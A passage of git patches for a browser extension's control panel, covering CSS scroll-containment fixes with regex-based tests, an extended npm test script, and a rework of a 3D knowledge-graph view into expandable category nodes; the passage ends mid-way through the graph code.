+assert(/setOpen\(willOpen\)/.test(js), + 'button click path opens and closes through setOpen'); +assert(/setOpen\(false\)/.test(js), + 'option pick and keyboard close paths close through setOpen'); +assert(/if\s*\(w\s*!==\s*wrap\)\s*closeFsbSelect\(w\)/.test(js), + 'sibling-select close path delegates to the shared close helper'); +assert(/if\s*\(!w\.contains\(e\.target\)\)\s*closeFsbSelect\(w\)/.test(js), + 'outside-click close path delegates to the shared close helper'); + +console.log('PASS settings-card custom select dropdown clipping guard'); From 7427825ba80f52ba898a62888f9000fa32db29d1 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 21:37:58 -0500 Subject: [PATCH 007/581] fix(control-panel): contain dashboard scroll to the content pane html/body could grow taller than the viewport and scroll as a second scroller alongside .dashboard-content, and flex children without min-height: 0 wouldn't shrink to fit, letting page-level scroll fight the intended single scroll pane. Pin html/body/.dashboard-container to 100vh with overflow: hidden, let .dashboard-main/.dashboard-content shrink via min-height: 0, and add overscroll-behavior: contain so .dashboard-content stays the one scroller and doesn't chain scroll past its own edges. --- extension/ui/options.css | 12 +++- package.json | 2 +- .../control-panel-scroll-containment.test.js | 56 +++++++++++++++++++ 3 files changed, 67 insertions(+), 3 deletions(-) create mode 100644 tests/control-panel-scroll-containment.test.js diff --git a/extension/ui/options.css b/extension/ui/options.css index 279bb1dff..7b0135f36 100644 --- a/extension/ui/options.css +++ b/extension/ui/options.css @@ -159,6 +159,7 @@ html { font-size: 16px; scroll-behavior: smooth; height: 100vh; + overflow: hidden; } body { @@ -169,6 +170,7 @@ body { -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; height: 100vh; + overflow: hidden; margin: 0; padding: 0; } @@ -205,7 +207,9 @@ body { --dashboard-help-icon-size: 2.75rem; --dashboard-help-icon-glyph-size: 1.3rem; --dashboard-branding-logo-height: 260px; + height: 100vh; min-height: 100vh; + overflow: hidden; display: flex; flex-direction: column; font-size: 14px; @@ -340,7 +344,9 @@ body { /* Main Layout */ .dashboard-main { display: flex; - flex: 1; + flex: 1 1 auto; + min-height: 0; + overflow: hidden; } /* Floating Sidebar */ @@ -488,9 +494,11 @@ body { /* Content Area */ .dashboard-content { - flex: 1; + flex: 1 1 auto; + min-height: 0; overflow-y: auto; overflow-x: hidden; + overscroll-behavior: contain; padding: var(--space-lg); margin-left: calc(var(--dashboard-sidebar-width) + 26px) !important; padding-left: 16px; diff --git a/package.json b/package.json index 0ffa2cdd3..874994e63 100644 --- a/package.json +++ b/package.json @@ -14,7 +14,7 @@ "scripts": { "build": "node esbuild.config.js", "build:cfworker": "node_modules/.bin/esbuild node_modules/@cfworker/json-schema/dist/esm/index.js --bundle --format=iife --global-name=CfworkerJsonSchema --platform=browser --target=chrome120 --legal-comments=none --outfile=extension/lib/cfworker-json-schema.min.js", - "test": "node tests/test-overlay-state.js && node tests/cost-tracker-ordering.test.js && node tests/runtime-contracts.test.js && node tests/ai-integration-analytics.test.js && node tests/dashboard-runtime-state.test.js && node tests/task-router.test.js && npm --prefix mcp run build && node tests/mcp-bridge-client-lifecycle.test.js && node tests/mcp-bridge-topology.test.js && node tests/mcp-bridge-background-dispatch.test.js && node tests/mcp-tool-routing-contract.test.js && node tests/mcp-visual-session-contract.test.js && node tests/mcp-restricted-tab.test.js && node tests/mcp-recovery-messaging.test.js && node tests/mcp-in-flight-session-lookup.test.js && node tests/mcp-version-parity.test.js && node tests/mcp-diagnostics-status.test.js && node tests/mcp-install-platforms.test.js && node tests/mcp-setup-guidance.test.js && node tests/turn-result.test.js && node tests/action-history.test.js && node tests/universal-provider-lmstudio.test.js && node tests/config-lmstudio.test.js && node tests/cost-tracker.test.js && node tests/install-identity.test.js && node tests/mcp-pricing.test.js && node tests/mcp-pricing-data-parity.test.js && node tests/mcp-metrics-recorder.test.js && node tests/mcp-dispatcher-client-label.test.js && node tests/mcp-session-recorder.test.js && node tests/mcp-metrics-no-pii-leak.test.js && node tests/telemetry-collector.test.js && node tests/telemetry-collector-strips-internal-fields.test.js && node tests/telemetry-payload-allowlist.test.js && node tests/extension-record-dispatch-serializes.test.js && node tests/server-trust-proxy.test.js && node tests/server-telemetry-salt-rotation.test.js && node tests/server-telemetry-rate-limit.test.js && node tests/server-telemetry-body-cap.test.js && node tests/server-telemetry-batch-cap.test.js && node tests/server-telemetry-allowlist.test.js && node tests/server-telemetry-event-id-dedup.test.js && node tests/server-telemetry-timestamp-tolerance.test.js && node tests/server-telemetry-daily-budget.test.js && node tests/server-telemetry-sec-gpc.test.js && node tests/server-telemetry-optout-forget.test.js && node tests/server-telemetry-housekeeper.test.js && node tests/server-public-stats-headline.test.js && node tests/server-public-stats-series.test.js && node tests/server-public-stats-cache.test.js && node tests/server-public-stats-no-auth.test.js && node tests/server-github-cache.test.js && node tests/server-github-poller.test.js && node tests/fsb-telemetry-service.test.js && node tests/showcase-build-smoke.test.js && node tests/stats-chart-overhaul.test.js && node scripts/verify-store-listing.mjs && node tests/verify-store-listing.test.js && node tests/cumulative-commits-aggregator.test.js && node tests/dashboard-stream-readiness-ping.test.js && node tests/dashboard-stream-pending-intent.test.js && node tests/dashboard-stream-recovery-parity.test.js && node tests/server-ws-backpressure.test.js && node tests/server-ws-phantomstream-relay-compat.test.js && node tests/showcase-privacy-page.test.js && node tests/server-no-ip-leak.test.js && node tests/server-ip-geo.test.js && node tests/server-ip-geo-merge.test.js && node tests/server-ip-geo-scale.test.js && node tests/server-region-aggregation.test.js && node tests/transcript-store.test.js && node tests/hook-pipeline.test.js && node tests/session-schema.test.js && node tests/state-emitter.test.js && node tests/secure-config-credential-vault.test.js && node tests/qr-pairing.test.js && node tests/ws-client-decompress.test.js && node tests/dashboard-task-direct-start.test.js && node tests/phantom-stream-protocol-envelope.test.js && node tests/phantom-stream-differential-parity.test.js && node tests/phantom-stream-remote-control-parity.test.js && node tests/phantom-stream-public-package.test.js && node tests/phantom-stream-exports.test.js && node tests/phantom-stream-content-bundle.test.js && node tests/phantom-stream-capture-adapter.test.js && node tests/phantom-stream-sidechannels.test.js && node tests/phantom-stream-security-masking.test.js && node tests/phantom-stream-dashboard-viewer-bundle.test.js && node tests/phantom-stream-static-viewer.test.js && node tests/phantom-stream-dashboard-parity.test.js && node tests/phantom-stream-dashboard-sidechannels.test.js && node tests/phantom-stream-media-sync.test.js && node tests/phantom-stream-media-wiring.test.js && node tests/dom-stream-perf.test.js && node tests/extension-content-script-files-completeness.test.js && node tests/dom-analysis-viewport-priority.test.js && node tests/redact-for-log.test.js && node tests/diagnostics-ring-buffer.test.js && node tests/agent-sunset-back-end.test.js && node tests/agent-sunset-control-panel.test.js && node tests/agent-sunset-showcase.test.js && node tests/sync-tab-runtime.test.js && node tests/remote-control-rebrand.test.js && node tests/server-accept-language.test.js && node tests/metrics-wireup.test.js && node tests/dashboard-metrics-render.test.js && node tests/stuck-action-repetition.test.js && node tests/goal-progress-tracker.test.js && node tests/model-discovery.test.js && node tests/model-discovery-ui.test.js && node tests/model-combobox-ui.test.js && node tests/settings-card-select-clipping.test.js && node tests/model-discovery-runtime.test.js && node tests/overlay-stability-cadence.test.js && node tests/overlay-content-audit.test.js && node tests/meta-cognitive-tracker.test.js && node tests/agent-cap-recommendation.test.js && node tests/agent-cap-storage.test.js && node tests/agent-cap-ui.test.js && node tests/agent-registry.test.js && node tests/selected-tab-state.test.js && node tests/change-report-builder.test.js && node tests/change-report-size-cap.test.js && node tests/change-report-cross-origin.test.js && node tests/change-report-dispatcher.test.js && node tests/change-report-read-tools-excluded.test.js && node tests/change-report-toggle.test.js && node tests/change-report-settings-ui.test.js && node tests/agent-tab-resolver.test.js && node tests/read-tool-tab-resolution.test.js && node tests/open-tab-background-default.test.js && node tests/visual-session-agent-scoped.test.js && node tests/action-tool-agent-scoped.test.js && node tests/recovery-tools-bootstrap.test.js && node tests/legacy-agent-synthesis.test.js && node tests/visual-session-reentry.test.js && node tests/ownership-error-codes.test.js && node tests/multi-agent-regression.test.js && node tests/tool-definitions-parity.test.js && node tests/mcp-numeric-param-coercion.test.js && node tests/visual-session-schema-lock.test.js && node tests/mcp-visual-tick-lifecycle.test.js && node tests/agent-id-threading.test.js && node tests/skill-fsb-spec.test.js && node tests/agent-loop-empty-contents.test.js && node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js && node tests/mcp-philosophy-parity-smoke.test.js && node tests/sidepanel-tab-aware-smoke.test.js && node tests/sidepanel-message-log-smoke.test.js && node tests/sidepanel-mcpvisualsession-listener.test.js && node tests/sidepanel-tab-scoping-fix-redo-smoke.test.js && node tests/sidepanel-progress-tick-setter-routing.test.js && node tests/sidepanel-background-tab-completion.test.js && node tests/sidepanel-multi-document-fanout.test.js && node tests/trigger-store.test.js && node tests/trigger-lifecycle.test.js && node tests/value-extractor.test.js && node tests/trigger-manager.test.js && node tests/trigger-cap.test.js && node tests/trigger-observe.test.js && node tests/trigger-observe-pulse.test.js && node tests/trigger-refresh-poll.test.js && node tests/trigger-tool-dispatcher.test.js && node tests/trigger-blocking-reporting.test.js && node tests/capability-recipe-schema.test.js && node tests/capability-interpreter.test.js && node tests/recipe-path-guard.test.js && node tests/capability-fetch.test.js && node tests/capability-search-eval.test.js && node tests/capability-mcp-surface.test.js && node tests/capability-router.test.js && node tests/capability-autopilot-parity.test.js && node tests/capability-head-handlers.test.js && node tests/consent-policy-store.test.js && node tests/consent-gate.test.js && node tests/consent-mutation-gate.test.js && node tests/consent-chokepoint.test.js && node tests/audit-log.test.js && node tests/audit-log-no-secret.test.js && node tests/recipe-signature.test.js && node tests/recipe-signature-interpreter-hook.test.js && node tests/service-denylist.test.js && node tests/classification-gate.test.js && node tests/provenance-scaffold.test.js && node tests/upload-file-route.test.js && node tests/upload-path-denylist.test.js && node tests/consent-audit-settings-ui.test.js && node tests/agent-loop-iterator-guard.test.js && node tests/network-capture.test.js && node tests/network-capture-consent.test.js && node tests/network-capture-redaction.test.js && node tests/recipe-synthesizer.test.js && node tests/learned-recipe-store.test.js && node tests/learned-search-add.test.js && node tests/learned-t2-outranking.test.js && node tests/learned-promote-after-replay.test.js && node tests/discovery-seeds-load.test.js && node tests/seed-resolve-t2.test.js && node tests/recipe-learn-pending-affordance.test.js && node tests/learned-local-provenance-exempt.test.js && node tests/provider-parity.test.js && node tests/recipe-schema-lock.test.js && node tests/capability-rot-detector.test.js && node tests/relearn-coalescing.test.js && node tests/rot-recurrence-classify.test.js && node tests/app-degraded-surfacing.test.js && node tests/relearn-router-wiring.test.js && node tests/import-extraction.test.js && node tests/import-forbidden-prescan.test.js && node tests/import-classify-gate-call.test.js && node tests/catalog-crosscheck.test.js && node tests/no-dead-entry.test.js && node tests/catalog-inline-shape.test.js && node tests/head-handler-cap.test.js && node tests/head-handler-upgrade.test.js && node tests/confluence-t1-handler.test.js && node tests/verify-origin-classification.test.js && node tests/guarded-write-failclosed.test.js && node tests/breadth-search-return.test.js && node tests/breadth-batch-gate.test.js && node tests/backing-status-annotation.test.js && node tests/t1-port-contract.test.js && node tests/t1-port-contract-gate.test.js && node tests/dom-only-default.test.js && node tests/sensitive-write-import-gate.test.js && node tests/coverage-report.test.js && node tests/payment-op-guard.test.js && node tests/vendor-augment-preserved.test.js && node tests/no-duplicate-stem.test.js && node tests/full-corpus-screen.test.js && node tests/full-corpus-scale.test.js && node tests/keyboard-attach-robustness.test.js && node --import tsx tests/no-orphan-descriptor.test.js", + "test": "node tests/test-overlay-state.js && node tests/cost-tracker-ordering.test.js && node tests/runtime-contracts.test.js && node tests/ai-integration-analytics.test.js && node tests/dashboard-runtime-state.test.js && node tests/task-router.test.js && npm --prefix mcp run build && node tests/mcp-bridge-client-lifecycle.test.js && node tests/mcp-bridge-topology.test.js && node tests/mcp-bridge-background-dispatch.test.js && node tests/mcp-tool-routing-contract.test.js && node tests/mcp-visual-session-contract.test.js && node tests/mcp-restricted-tab.test.js && node tests/mcp-recovery-messaging.test.js && node tests/mcp-in-flight-session-lookup.test.js && node tests/mcp-version-parity.test.js && node tests/mcp-diagnostics-status.test.js && node tests/mcp-install-platforms.test.js && node tests/mcp-setup-guidance.test.js && node tests/turn-result.test.js && node tests/action-history.test.js && node tests/universal-provider-lmstudio.test.js && node tests/config-lmstudio.test.js && node tests/cost-tracker.test.js && node tests/install-identity.test.js && node tests/mcp-pricing.test.js && node tests/mcp-pricing-data-parity.test.js && node tests/mcp-metrics-recorder.test.js && node tests/mcp-dispatcher-client-label.test.js && node tests/mcp-session-recorder.test.js && node tests/mcp-metrics-no-pii-leak.test.js && node tests/telemetry-collector.test.js && node tests/telemetry-collector-strips-internal-fields.test.js && node tests/telemetry-payload-allowlist.test.js && node tests/extension-record-dispatch-serializes.test.js && node tests/server-trust-proxy.test.js && node tests/server-telemetry-salt-rotation.test.js && node tests/server-telemetry-rate-limit.test.js && node tests/server-telemetry-body-cap.test.js && node tests/server-telemetry-batch-cap.test.js && node tests/server-telemetry-allowlist.test.js && node tests/server-telemetry-event-id-dedup.test.js && node tests/server-telemetry-timestamp-tolerance.test.js && node tests/server-telemetry-daily-budget.test.js && node tests/server-telemetry-sec-gpc.test.js && node tests/server-telemetry-optout-forget.test.js && node tests/server-telemetry-housekeeper.test.js && node tests/server-public-stats-headline.test.js && node tests/server-public-stats-series.test.js && node tests/server-public-stats-cache.test.js && node tests/server-public-stats-no-auth.test.js && node tests/server-github-cache.test.js && node tests/server-github-poller.test.js && node tests/fsb-telemetry-service.test.js && node tests/showcase-build-smoke.test.js && node tests/stats-chart-overhaul.test.js && node scripts/verify-store-listing.mjs && node tests/verify-store-listing.test.js && node tests/cumulative-commits-aggregator.test.js && node tests/dashboard-stream-readiness-ping.test.js && node tests/dashboard-stream-pending-intent.test.js && node tests/dashboard-stream-recovery-parity.test.js && node tests/server-ws-backpressure.test.js && node tests/server-ws-phantomstream-relay-compat.test.js && node tests/showcase-privacy-page.test.js && node tests/server-no-ip-leak.test.js && node tests/server-ip-geo.test.js && node tests/server-ip-geo-merge.test.js && node tests/server-ip-geo-scale.test.js && node tests/server-region-aggregation.test.js && node tests/transcript-store.test.js && node tests/hook-pipeline.test.js && node tests/session-schema.test.js && node tests/state-emitter.test.js && node tests/secure-config-credential-vault.test.js && node tests/qr-pairing.test.js && node tests/ws-client-decompress.test.js && node tests/dashboard-task-direct-start.test.js && node tests/phantom-stream-protocol-envelope.test.js && node tests/phantom-stream-differential-parity.test.js && node tests/phantom-stream-remote-control-parity.test.js && node tests/phantom-stream-public-package.test.js && node tests/phantom-stream-exports.test.js && node tests/phantom-stream-content-bundle.test.js && node tests/phantom-stream-capture-adapter.test.js && node tests/phantom-stream-sidechannels.test.js && node tests/phantom-stream-security-masking.test.js && node tests/phantom-stream-dashboard-viewer-bundle.test.js && node tests/phantom-stream-static-viewer.test.js && node tests/phantom-stream-dashboard-parity.test.js && node tests/phantom-stream-dashboard-sidechannels.test.js && node tests/phantom-stream-media-sync.test.js && node tests/phantom-stream-media-wiring.test.js && node tests/dom-stream-perf.test.js && node tests/extension-content-script-files-completeness.test.js && node tests/dom-analysis-viewport-priority.test.js && node tests/redact-for-log.test.js && node tests/diagnostics-ring-buffer.test.js && node tests/agent-sunset-back-end.test.js && node tests/agent-sunset-control-panel.test.js && node tests/agent-sunset-showcase.test.js && node tests/sync-tab-runtime.test.js && node tests/remote-control-rebrand.test.js && node tests/server-accept-language.test.js && node tests/metrics-wireup.test.js && node tests/dashboard-metrics-render.test.js && node tests/stuck-action-repetition.test.js && node tests/goal-progress-tracker.test.js && node tests/model-discovery.test.js && node tests/model-discovery-ui.test.js && node tests/model-combobox-ui.test.js && node tests/settings-card-select-clipping.test.js && node tests/control-panel-scroll-containment.test.js && node tests/model-discovery-runtime.test.js && node tests/overlay-stability-cadence.test.js && node tests/overlay-content-audit.test.js && node tests/meta-cognitive-tracker.test.js && node tests/agent-cap-recommendation.test.js && node tests/agent-cap-storage.test.js && node tests/agent-cap-ui.test.js && node tests/agent-registry.test.js && node tests/selected-tab-state.test.js && node tests/change-report-builder.test.js && node tests/change-report-size-cap.test.js && node tests/change-report-cross-origin.test.js && node tests/change-report-dispatcher.test.js && node tests/change-report-read-tools-excluded.test.js && node tests/change-report-toggle.test.js && node tests/change-report-settings-ui.test.js && node tests/agent-tab-resolver.test.js && node tests/read-tool-tab-resolution.test.js && node tests/open-tab-background-default.test.js && node tests/visual-session-agent-scoped.test.js && node tests/action-tool-agent-scoped.test.js && node tests/recovery-tools-bootstrap.test.js && node tests/legacy-agent-synthesis.test.js && node tests/visual-session-reentry.test.js && node tests/ownership-error-codes.test.js && node tests/multi-agent-regression.test.js && node tests/tool-definitions-parity.test.js && node tests/mcp-numeric-param-coercion.test.js && node tests/visual-session-schema-lock.test.js && node tests/mcp-visual-tick-lifecycle.test.js && node tests/agent-id-threading.test.js && node tests/skill-fsb-spec.test.js && node tests/agent-loop-empty-contents.test.js && node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js && node tests/mcp-philosophy-parity-smoke.test.js && node tests/sidepanel-tab-aware-smoke.test.js && node tests/sidepanel-message-log-smoke.test.js && node tests/sidepanel-mcpvisualsession-listener.test.js && node tests/sidepanel-tab-scoping-fix-redo-smoke.test.js && node tests/sidepanel-progress-tick-setter-routing.test.js && node tests/sidepanel-background-tab-completion.test.js && node tests/sidepanel-multi-document-fanout.test.js && node tests/trigger-store.test.js && node tests/trigger-lifecycle.test.js && node tests/value-extractor.test.js && node tests/trigger-manager.test.js && node tests/trigger-cap.test.js && node tests/trigger-observe.test.js && node tests/trigger-observe-pulse.test.js && node tests/trigger-refresh-poll.test.js && node tests/trigger-tool-dispatcher.test.js && node tests/trigger-blocking-reporting.test.js && node tests/capability-recipe-schema.test.js && node tests/capability-interpreter.test.js && node tests/recipe-path-guard.test.js && node tests/capability-fetch.test.js && node tests/capability-search-eval.test.js && node tests/capability-mcp-surface.test.js && node tests/capability-router.test.js && node tests/capability-autopilot-parity.test.js && node tests/capability-head-handlers.test.js && node tests/consent-policy-store.test.js && node tests/consent-gate.test.js && node tests/consent-mutation-gate.test.js && node tests/consent-chokepoint.test.js && node tests/audit-log.test.js && node tests/audit-log-no-secret.test.js && node tests/recipe-signature.test.js && node tests/recipe-signature-interpreter-hook.test.js && node tests/service-denylist.test.js && node tests/classification-gate.test.js && node tests/provenance-scaffold.test.js && node tests/upload-file-route.test.js && node tests/upload-path-denylist.test.js && node tests/consent-audit-settings-ui.test.js && node tests/agent-loop-iterator-guard.test.js && node tests/network-capture.test.js && node tests/network-capture-consent.test.js && node tests/network-capture-redaction.test.js && node tests/recipe-synthesizer.test.js && node tests/learned-recipe-store.test.js && node tests/learned-search-add.test.js && node tests/learned-t2-outranking.test.js && node tests/learned-promote-after-replay.test.js && node tests/discovery-seeds-load.test.js && node tests/seed-resolve-t2.test.js && node tests/recipe-learn-pending-affordance.test.js && node tests/learned-local-provenance-exempt.test.js && node tests/provider-parity.test.js && node tests/recipe-schema-lock.test.js && node tests/capability-rot-detector.test.js && node tests/relearn-coalescing.test.js && node tests/rot-recurrence-classify.test.js && node tests/app-degraded-surfacing.test.js && node tests/relearn-router-wiring.test.js && node tests/import-extraction.test.js && node tests/import-forbidden-prescan.test.js && node tests/import-classify-gate-call.test.js && node tests/catalog-crosscheck.test.js && node tests/no-dead-entry.test.js && node tests/catalog-inline-shape.test.js && node tests/head-handler-cap.test.js && node tests/head-handler-upgrade.test.js && node tests/confluence-t1-handler.test.js && node tests/verify-origin-classification.test.js && node tests/guarded-write-failclosed.test.js && node tests/breadth-search-return.test.js && node tests/breadth-batch-gate.test.js && node tests/backing-status-annotation.test.js && node tests/t1-port-contract.test.js && node tests/t1-port-contract-gate.test.js && node tests/dom-only-default.test.js && node tests/sensitive-write-import-gate.test.js && node tests/coverage-report.test.js && node tests/payment-op-guard.test.js && node tests/vendor-augment-preserved.test.js && node tests/no-duplicate-stem.test.js && node tests/full-corpus-screen.test.js && node tests/full-corpus-scale.test.js && node tests/keyboard-attach-robustness.test.js && node --import tsx tests/no-orphan-descriptor.test.js", "test:lattice": "node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js", "test:mcp-smoke:lifecycle": "npm --prefix mcp run build && node tests/mcp-lifecycle-smoke.test.js", "test:mcp-smoke:tools": "npm --prefix mcp run build && node tests/mcp-tool-smoke.test.js", diff --git a/tests/control-panel-scroll-containment.test.js b/tests/control-panel-scroll-containment.test.js new file mode 100644 index 000000000..79133fb03 --- /dev/null +++ b/tests/control-panel-scroll-containment.test.js @@ -0,0 +1,56 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); + +const repoRoot = path.resolve(__dirname, '..'); +const css = fs.readFileSync(path.join(repoRoot, 'extension', 'ui', 'options.css'), 'utf8'); +const html = fs.readFileSync(path.join(repoRoot, 'extension', 'ui', 'control_panel.html'), 'utf8'); + +function getCssRule(selector) { + const escaped = selector.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + const match = css.match(new RegExp(escaped + '\\s*\\{([\\s\\S]*?)\\}', 'm')); + return match ? match[1] : ''; +} + +console.log('--- Test: control panel scroll containment guard ---'); + +const htmlRule = getCssRule('html'); +assert(/height\s*:\s*100vh\s*;/.test(htmlRule), + 'html is fixed to the viewport height'); +assert(/overflow\s*:\s*hidden\s*;/.test(htmlRule), + 'html cannot become a secondary vertical scroller'); + +const bodyRule = getCssRule('body'); +assert(/height\s*:\s*100vh\s*;/.test(bodyRule), + 'body is fixed to the viewport height'); +assert(/overflow\s*:\s*hidden\s*;/.test(bodyRule), + 'body cannot become a secondary vertical scroller'); + +const containerRule = getCssRule('.dashboard-container'); +assert(/height\s*:\s*100vh\s*;/.test(containerRule), + 'dashboard container is viewport-bound'); +assert(/overflow\s*:\s*hidden\s*;/.test(containerRule), + 'dashboard container clips shell overflow'); + +const mainRule = getCssRule('.dashboard-main'); +assert(/min-height\s*:\s*0\s*;/.test(mainRule), + 'dashboard main can shrink inside the viewport-bound shell'); +assert(/overflow\s*:\s*hidden\s*;/.test(mainRule), + 'dashboard main does not become a competing scroller'); + +const contentRule = getCssRule('.dashboard-content'); +assert(/flex\s*:\s*1\s+1\s+auto\s*;/.test(contentRule), + 'dashboard content owns the remaining shell height'); +assert(/min-height\s*:\s*0\s*;/.test(contentRule), + 'dashboard content can shrink enough for its own scroller to engage'); +assert(/overflow-y\s*:\s*auto\s*;/.test(contentRule), + 'dashboard content remains the vertical scroller'); +assert(/overscroll-behavior\s*:\s*contain\s*;/.test(contentRule), + 'dashboard content contains wheel/trackpad scroll chaining at its edges'); + +assert(/]*id=["']branding["'][\s\S]*?โ–ฝ0\.9\.90[\s\S]*?<\/section>/.test(html), + 'version footer remains present at the end of the control panel content'); + +console.log('PASS control panel scroll containment guard'); From f6f4d90a462268b382439d2edb8c7a9ade11c4f3 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 21:38:21 -0500 Subject: [PATCH 008/581] feat(knowledge-graph): rework 3D graph into category overview with expandable detail Overview now renders one node per category instead of flattening straight to individual sites, with Full Detail (relabeled "Expanded" in the UI) branching each category out to its sites in a cap around the category's outward direction so they visibly fan off their parent. Adds animated zoom-to-fit when switching detail levels, stronger highlight emphasis (glow ring, bolder label, thicker link) on search matches, and drops the now-redundant third detail tier and unused learned-pattern aggregation from task-memory sites. --- .../lib/visualization/knowledge-graph.js | 436 +++++++++++------- extension/ui/control_panel.html | 2 +- extension/ui/site-guides-viewer.js | 2 +- 3 files changed, 264 insertions(+), 176 deletions(-) diff --git a/extension/lib/visualization/knowledge-graph.js b/extension/lib/visualization/knowledge-graph.js index fa4bb4559..b1a189b44 100644 --- a/extension/lib/visualization/knowledge-graph.js +++ b/extension/lib/visualization/knowledge-graph.js @@ -60,6 +60,8 @@ const KnowledgeGraph = (function () { // --------------------------------------------------------------- var _state = null; // active render state var _taskMemories = []; // task memory data for knowledge graph integration + var DIMMED_NODE_ALPHA = 0.38; + var DIMMED_LINK_ALPHA = 0.32; // --------------------------------------------------------------- // Data consolidation -- free-floating sites, color-coded by category @@ -81,115 +83,102 @@ const KnowledgeGraph = (function () { x3d: 0, y3d: 0, z3d: 0 }); - // Determine category order (for color assignment only) + // Category order (drives color + layout). Overview shows categories; + // Full Detail expands each category out to its actual sites. var orderedCats = CATEGORY_ORDER.filter(function (c) { return grouped[c]; }); var extraCats = Object.keys(grouped).filter(function (c) { return CATEGORY_ORDER.indexOf(c) === -1; }); var allCats = orderedCats.concat(extraCats); - // Build a flat list of all sites with their category color - var allSites = []; - for (var ci = 0; ci < allCats.length; ci++) { - var catName = allCats[ci]; - var guides = grouped[catName] || []; - var catColor = COLORS[ci % COLORS.length]; - for (var si = 0; si < guides.length; si++) { - allSites.push({ guide: guides[si], color: catColor, catName: catName, ci: ci, si: si }); - } - } - - // Distribute all sites freely on a sphere using golden-angle spiral - var R_SITE = 280; // site sphere radius - var R_DETAIL = 380; // detail leaf radius + var R_CAT = 180; // category sphere radius + var R_SITE = 350; // site shell radius var goldenAngle = Math.PI * (3 - Math.sqrt(5)); - var totalSites = allSites.length; + var nCat = allCats.length; + var expanded = detailLevel === 'full'; - for (var idx = 0; idx < totalSites; idx++) { - var entry = allSites[idx]; - var guide = entry.guide; - var siteId = 'site:' + entry.ci + ':' + entry.si; - var siteName = guide.site || 'Unknown'; - - // Golden-angle spiral placement - var theta = goldenAngle * idx; - var phi = Math.acos(1 - 2 * (idx + 0.5) / totalSites); - - var sx = R_SITE * Math.sin(phi) * Math.cos(theta); - var sy = R_SITE * Math.cos(phi); - var sz = R_SITE * Math.sin(phi) * Math.sin(theta); + for (var ci = 0; ci < nCat; ci++) { + var catName = allCats[ci]; + var guides = grouped[catName] || []; + var colorIdx = ci % COLORS.length; + var catColor = COLORS[colorIdx]; - var selectorCount = guide.selectors ? Object.keys(guide.selectors).length : 0; - var workflowCount = guide.workflows ? Object.keys(guide.workflows).length : 0; - var warningCount = guide.warnings ? guide.warnings.length : 0; + // Category node placed on inner sphere via golden-angle spiral + var cTheta = goldenAngle * ci; + var cPhi = Math.acos(1 - 2 * (ci + 0.5) / nCat); + var ccx = R_CAT * Math.sin(cPhi) * Math.cos(cTheta); + var ccy = R_CAT * Math.cos(cPhi); + var ccz = R_CAT * Math.sin(cPhi) * Math.sin(cTheta); + var catId = 'cat:' + ci; nodes.push({ - id: siteId, - label: siteName, - fullLabel: entry.catName, + id: catId, + label: catName, + fullLabel: [catName].concat(guides.map(function (g) { return g.site || ''; })).join(' '), depth: 1, type: 'site', - color: entry.color, - colorIndex: entry.ci % COLORS.length, - categoryName: entry.catName, - selectorCount: selectorCount, - workflowCount: workflowCount, - warningCount: warningCount, - x3d: sx, y3d: sy, z3d: sz + isCat: true, + color: catColor, + colorIndex: colorIdx, + categoryName: catName, + siteCount: guides.length, + selectorCount: 0, + workflowCount: 0, + warningCount: 0, + x3d: ccx, y3d: ccy, z3d: ccz }); - links.push({ source: 'root', target: siteId }); - - // Detail nodes (Full mode only) - if (detailLevel === 'full') { - var detailItems = []; - if (guide.selectors) { - var selKeys = Object.keys(guide.selectors).slice(0, 3); - for (var k = 0; k < selKeys.length; k++) { - detailItems.push({ label: selKeys[k], dtype: 'selector' }); - } - } - if (guide.workflows) { - var wfKeys = Object.keys(guide.workflows).slice(0, 2); - for (var k = 0; k < wfKeys.length; k++) { - detailItems.push({ label: wfKeys[k], dtype: 'workflow' }); - } - } + links.push({ source: 'root', target: catId }); + + if (!expanded || guides.length === 0) continue; + + // Expanded: scatter this category's sites in a cap around the + // category's outward direction so they branch off their parent. + var dir = normalize({ x: ccx, y: ccy, z: ccz }); + var perp1 = crossProduct(dir, { x: 0, y: 1, z: 0 }); + if (vecLen(perp1) < 0.01) perp1 = crossProduct(dir, { x: 1, y: 0, z: 0 }); + perp1 = normalize(perp1); + var perp2 = normalize(crossProduct(dir, perp1)); + var k = guides.length; + var capR = Math.min(165, 30 + k * 7); + + for (var si = 0; si < k; si++) { + var g = guides[si]; + var a = goldenAngle * si; + var rr = capR * Math.sqrt((si + 0.5) / k); + var ox = (perp1.x * Math.cos(a) + perp2.x * Math.sin(a)) * rr; + var oy = (perp1.y * Math.cos(a) + perp2.y * Math.sin(a)) * rr; + var oz = (perp1.z * Math.cos(a) + perp2.z * Math.sin(a)) * rr; + var sx = dir.x * R_SITE + ox; + var sy = dir.y * R_SITE + oy; + var sz = dir.z * R_SITE + oz; - // Direction from center for this site - var sDir = normalize({ x: sx, y: sy, z: sz }); - var perp1 = crossProduct(sDir, { x: 0, y: 1, z: 0 }); - if (vecLen(perp1) < 0.01) perp1 = crossProduct(sDir, { x: 1, y: 0, z: 0 }); - perp1 = normalize(perp1); - var perp2 = normalize(crossProduct(sDir, perp1)); - - for (var di = 0; di < detailItems.length; di++) { - var detId = 'det:' + entry.ci + ':' + entry.si + ':' + di; - 